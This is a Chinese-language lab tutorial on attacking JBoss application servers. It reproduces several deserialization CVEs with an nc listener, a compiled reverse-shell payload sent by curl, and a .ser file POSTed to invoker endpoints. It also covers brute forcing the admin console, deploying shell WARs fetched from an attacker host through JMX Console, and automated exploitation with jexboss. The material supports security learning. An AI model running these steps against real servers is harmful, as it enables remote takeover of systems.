中间件安全之JBoss渗透

一、JBoss介绍

JBoss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。Jboss_百度百科 (baidu.com)

EJB 是运行在独立服务器上的组件,客户端是通过网络对EJB 对象进行调用。变成大白话就是,"把你编写的软件中那些需要执行制定的任务的类,不放到客户端软件上了,而是给他打成包放到一个服务器上了"。

中间件是一个独立的系统软件或服务程序,为应用程序提供合作互通、资源共享等服务。

Servlet 是运行在 Web 服务器上的程序,是客户端和服务器之间的中间层,用于处理请求的逻辑 (类似CGI) Tomcat下Servlet与CGI区别和内容 servlet的本质是什么,它是如何工作的?

1、下载安装启动配置

0x01 JDK安装

JDK版本:1.6 ~ 1.7

默认下一步即可

0x02 JBoss安装

配置两台虚拟机,一台安装6.0,一台安装4.0

下载地址:JBoss Application Server Downloads - JBoss Community

JBoss4以下用JDK6 JBoss5~7用JDK7

0x03 JBoss环境变量

1)新建系统变量JBOSS_HOME

2)在path最后中加入

;%JBOSS_HOME%\bin;

0x04 启动JBoss

双击run.bat即可

0x05 配置JBoss

设置外网可以访问,路径C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

重启即可

对于JBoss4版本,C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer\server.xml

2、目录介绍

JBoss默认部署路径:C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

二、JBoss漏洞分析及复现

目前而言,以下漏洞都是复现操作为主,原理由于本人还太菜,未来再回来补充【4.26】

1、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

命令执行、getshell

0x01 漏洞概述

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

影响版本:

JbossAS 5.xJbossAS 6.x

0x02 复现操作

实验靶机IP为192.168.112.148

1)验证漏洞存在|漏洞指纹

访问http://192.168.112.148:8080/invoker/readonly页面,回显500表示存在

2)安装javac

用于java编译这块

java javac等混淆概念:(8条消息) 一文搞懂JDK8与Java1.8的区别_非著名运维的博客-CSDN博客

cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version

3)工具下载

下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

4)开启监听

nc -vlp 8888

5)一系列操作

这部分底层原理留给日后回来研究【4.26】,现在只能依葫芦画瓢
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ​ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.112.132:8888 ​ # 以二进制格式发送.ser包 curl http://192.168.112.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

0x03 漏洞原理分析

JBoss反序列化漏洞分析

漏洞出现在 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest)request; Principal user = httpRequest.getUserPrincipal(); if ((user == null) && (this.readOnlyContext != null)) { ServletInputStream sis = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(sis); MarshalledInvocation mi = null; try { mi = (MarshalledInvocation)ois.readObject(); } catch (ClassNotFoundException e) { throw new ServletException("Failed to read MarshalledInvocation", e); } request.setAttribute("MarshalledInvocation", mi); ​ mi.setMethodMap(this.namingMethodMap); Method m = mi.getMethod(); if (m != null) { validateAccess(m, mi); } } chain.doFilter(request, response); }

可以看到其直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

2、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

getshell

0x01 漏洞概述

该漏洞的产生是由于JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,利用 Apache Commons Collections 中的 Gadget 执行任意代码

0x02 复现操作

实验靶机IP为192.168.112.148

1)验证漏洞存在

访问页面http://192.168.112.148:8080/invoker/JMXInvokerServlet,回显如下的消息则含有该漏洞

2)开启监听

nc -lvp 8888

3)使用工具直接攻击

这部分底层原理留给日后回来研究【4.26】,现在只能依葫芦画瓢

工具和上面漏洞1的一样

curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

0x03 修复建议

删除http-invoker.sar组件,路径在:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后再访问http://192.168.112.148:8080/invoker/JMXInvokerServlet,返回404

3、JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

getshell

0x01 漏洞概述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响版本:

JBoss AS 4.0及之前

0x02 复现操作

1)验证漏洞存在|漏洞指纹

访问http://192.168.112.147:8080/jbossmq-httpil/HTTPServerILServlet,回显如下页面则有漏洞

2)执行攻击

使用之前生成的.ser文件,通过POST 二进制数据上去,反向连接shell,需要先开监听

curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

4、JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

getshell

0x01 影响版本

JBoss6.x以上

0x02 复现操作

1)漏洞指纹

访问http://192.168.112.148:8080/invoker/EJBInvokerServlet,如下图则存在该漏洞

2)执行攻击

使用之前生成的.ser文件,通过POST 二进制数据上去,反向连接shell,需要先开监听

curl http://192.168.112.148:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

反序列化文章:

浅析反序列化POC - FreeBuf网络安全行业门户

5、Administration Console 弱口令

后台getshell

0x01 环境配置

环境为JBoss6

0x02 密码信息

密码信息保存在\server\default\conf

0x03 复现操作

1)登陆进后台

2)上传war文件

3)冰蝎连接

0x04 Burp Suite爆破

1)查看数据传输格式

2)选择爆破模式和爆破的位置

3)载入payload

这里测试,随便写了密码账号文件

4)执行攻击,找到不同的包

6、JMX Console未授权访问漏洞

后台部署文件、getshell

0x01 漏洞概述

在默认未配置的情况下,可以访问/jmx-console目录,并部署相关war包,部署的war包在本地的路径为: JBoss AS 6.x:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost JBoss AS 4.x:C:\jboss-4.2.3.GA\server\default\work\jboss.web\localhost

0x02 复现操作

Ⅰ. 4.x版本漏洞复现

1)前往部署页面

http://192.168.112.147:8080/jmx-console/

打开jmx-console界面,找到jboss.deployment,点击下面的URL

2)上传、部署war包

在kali上开启小型服务器,通过kali上传shell.war包(实际情况是在vps上开启此功能)

找到void addURL()一栏,填入http://192.168.112.132/shell.war

还是在刚刚那界面,最上面点击Apply Changes

3)war包部署成功

4)上线冰蝎

Ⅱ. 6.x版本漏洞复现

操作类似

上传、部署

http://192.168.112.148:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.112.132/shell2.war

上线冰蝎

三、jexboss自动化JBoss渗透

JexBoss是一个用于测试和利用JBoss应用服务器和其他Java平台、框架、应用程序等漏洞的工具。

下载地址: joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)

1)环境配置

# python > 2.7.x python2 --version ​ # 安装 pip2 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py python2 get-pip.py

2)执行脚本

python jexboss.py -host http://192.168.112.147:8080

3)输入自动化渗透目标

这里JBoss为本地搭建的4.0版本

4)得到shell